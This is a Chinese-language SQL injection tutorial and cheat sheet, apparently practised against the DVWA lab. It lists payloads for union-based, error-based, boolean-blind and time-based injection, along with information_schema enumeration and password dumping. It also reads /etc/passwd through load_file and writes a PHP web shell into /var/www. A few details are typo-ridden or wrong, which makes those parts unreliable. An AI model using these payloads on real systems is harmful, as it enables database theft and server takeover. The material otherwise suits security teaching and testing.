SQL注入漏洞
数据库注入漏洞大致可分为数字型和字符型,也能分的更细。不过注入最终的目的就是利用数据库的特性来获取一些敏感信息和权限。
1、数字型注入
SQL语句为:select * from table where id=8
测试步骤为:首先http://www.example.com/test.php?id=1’(加上单引号导致无法从数据库获取数据页面异常)
然后在测试地址后加 and 1=1(结果为真语句正常执行)
最后在测试地址后加 and 1=2(结果为假语句执行错误)
这就能判断出其存在SQL注入漏洞了
数字型注入漏洞最多存在ASP、JSP等弱类语言中因为弱类语言能自动推导变量类型比如:id=1 php会推导数据类型为int,而id=1 and 1=1会推导成字符型。像java、c#这些强类语言如果把字符型转换为int型则会抛出异常。
2、字符型注入
当参数为字符串时就属于字符型,和数字型最大的区别是数字型不需要单引号闭合而字符型需要。
SQL语句为:select * from table where user=’admin’
这时注入就需要字符串的闭合了这时的注入语句就是admin’and 1=1--构造的SQL语句为select * from table where user = ‘admin, and 1=1--‘(--表示注释后面的代码和符号)
3、根据数据库的特性就行分类并注入(有权读取information_schema库时的MySQL)
3.1、MySQL支持的三种注释:
(1)#:注释从“#”字符到行尾;
(2)-- :注释从“-- ”序列到行尾,使用时需加上一个或多个空格
(3)/* */:注释从/*序列到后面的*/序列中间的字符
3.2 、注入的一些初级手法(不能只用1,2数字来测,可以用4、5、6、7、a、b等数字或字母来测)
基于报错的检测方法:’ “ % ()
基于布尔的检测:1’ and ‘1’=’1 / 1’ and ‘1
1’ and ‘1’=’2 / 1’and ‘0
表列数/显示信息位于那一列
‘ order by 9-- 按查询列号排序
联合查询:
‘union select 1,2-- / ‘union all select database(),2--
eg: 1’union select user(),2--
‘union select user(),version()—
'union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('a')--
元数据查询;所有库所有表/统计每个库中表的数量
‘union select table name,table schema from information_schema.tables--
‘union select table_schema.count(*) from information schema.tables group by table_schema--
DVWA库中的表名
‘union select table_name,table_schema from information_schema.tables where table_schema=’dvwa’--
Users表中所有的列
‘union select table_name,column_name from information_schema.columns where table_schema=’dvwa’and
Table_name=’users’--
函数 | 说明 |
length | 返回字符段长度 |
substring | 截取字符段长度 |
asci | 返回ASCII码 |
Hex | 把字符串转换为十六进制 |
Now | 当前系统时间 |
Unhex | Hex的反向操作 |
Floor(x) | 返回不大于x的最大整数值 |
Md5 | 返回MD5值 |
Group_concat | 返回带有来自一个组的连接的非null值的字符串结果 |
@datadir | 读取数据库路径 |
@basedir | MySQL安装路径 |
@@version_compile_os | 操作系统 |
@@hostname | 操作系统的用户名 |
@@version | 操作系统版本 |
user | 用户名 |
Current_user | 当前用户名 |
System_user | 系统用户名 |
Database | 数据库名 |
version | MySQL数据库版本 |
3.3 数据库的权限问题,如果注入点的权限可以查询MySQL5.0以上版本提供的information_schema(数据信息库,可以访问数据的元数据)注入的方法如下:
(1)查询数据库名称:(INFORMATION_SCHEMA.SCHEMATA提供了关于数据库的信息)
‘union Select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1—
(2)查询当前数据库表:(INFORMATION_SCHEMA.TABLES提供了关于数据库中表的信息)
‘union select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCEMA= (select DATABASE()) limit 0,1—
(3)查询指定表的所有字段:
‘union select COLUMN_NAME from INFORmATION_SCHEMA.COLUMNS where TABLE_NAME=’user’LIMIT 0,1—
‘union select user,password from dvwa.users--
‘union select user,password from users--
‘union select null,concat(user,0x3a,password) from users--
Concat()连接字符串,可以一次查询多个数据
3.3.MySQL函数的利用
(1)load_file()函数读取文件
Sql语句为:’union select null, load_file(‘/etc/passwd’)--
(2)dumpfile()写入文件函数(如果没权限写到www目录,可以选择权限低的tmp下,然后在利用文件上传等漏洞进行利用)
SQL语句为:’union select null,”<?php passthru($_GET[‘cmd’]); ?>” INTO DUMPFILE “/var/www/a.php”—
4、无权读取information_schema库/拒绝union、order by语句
猜列名:’and column is null--
猜当前表名:’and table.user is null--
猜库里其他表:’and (select count(*) from table)>0--
列表对应关系:’and user.user is null--
猜字段内容:’or user=’admin 或者 ‘or user like ‘%a%
猜账号对应的密码:
‘or user=’admin’and password=’加密的密码’
利用burpsuit的功能给以上“红色字体”的字母添加为变量,然后load一个字典进行破解。
5、盲注
因为无法根据数据库的报错信息来进行注入,但是也可以根据逻辑的真假进行注入,所以在进行注入的时候一定要注意自己所构造的前后逻辑真假的情况。
例子:注入语句为1’ and 1=1--
那么所构造的sql语句为:
Select * from table_name where id=’1’ and 1=1-- ‘;
如果前边的id=1为真,后的and 1=1为真那么注入语句就成立。
反之and 1=2 其中一方为假则会出错但是不会有报错信息
根据这种逻辑的方式在利用以上的注入语句就可行了
1’order by 5-- / 1’ order by 2--
1’ union select 1,2--
1’ union select null, CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('a')--
1’and 1=0 union select null,table_name from information_schema.tables--
1’and 1=0 union select null,table_name from information_schema.colimns where table_name=’users’—
盲注无权读取information_schema库/拒绝union、order by语句
猜列名:1’and column is not null--
猜当前表名:1’and table.user is not null--
猜库里其他表:1’and (select count(*) from table)>0--
列表对应关系:1’and user.user is not null--
猜字段内容:1’and user=’admin 或者 1‘or user like ‘%a%
猜账号对应的密码:
2‘or user=’admin’and password=’加密的密码’
案例一 某网站
And 1=1-- 显示当前页面
And 1=2-- 显示另一个页面
注入语句为:1‘and ORD(MID((VERSION()),1,1))&1>0--
VISION()函数可以换成user()、database()
MID(ColumnName,start,Length)
ORD(string) 转换成ASCII
上面的语句的意思为从版本信息的第一位开始截取,长度就截取一位然后转换为ASCII的二进制
1 1 1 1 1 1 1 1
128 64 32 16 8 4 2 1
后面加&1意思是1对应的那一位的值是否大于0
后面加&8意思是8对应的那一位的值是否大于0(以此类推)
6.延时注入(盲注)
在MySql有一个函数:sleep(duration)用法是在duration参数给定的秒数后运行语句
Select * from users where id=1 and sleep(3);
例如:
www.example.com/user.jsp?id=1 //页面正常,一秒左右返回
www.example.com/user.jsp?id=1’ //页面正常,一秒左右返回
www.example.com/user.jsp?id=1’ and 1=1 //页面正常,一秒左右返回
www.example.com/user.jsp?id=1 and sleep(3) //页面正常,三秒左右返回
则可以判断其有sql注入漏洞
延时注入方法:
1’ And if(length(user())=0,sleep(3),1)--(此处的等于号可以改为大于或小于)
查询当前用户,并取得字符串长度
1’ and if(hex(mid(user(),1,1))=1,sleep(3),1)--
截取字符串第一个字符,并转换成ASCII码
1’ and if(hex(mid(user(),L,1))=N,sleep(3),1)--
递归破解第二个ASCII码直到最后一个L代表字符串的第几个字符,N代表ASCII码。
不仅MySQL存在延时函数还有SQL server的waitfor delay还有
Oracle中的DBMS_LOCK.SLEEP等函数。
ASCII码对照表: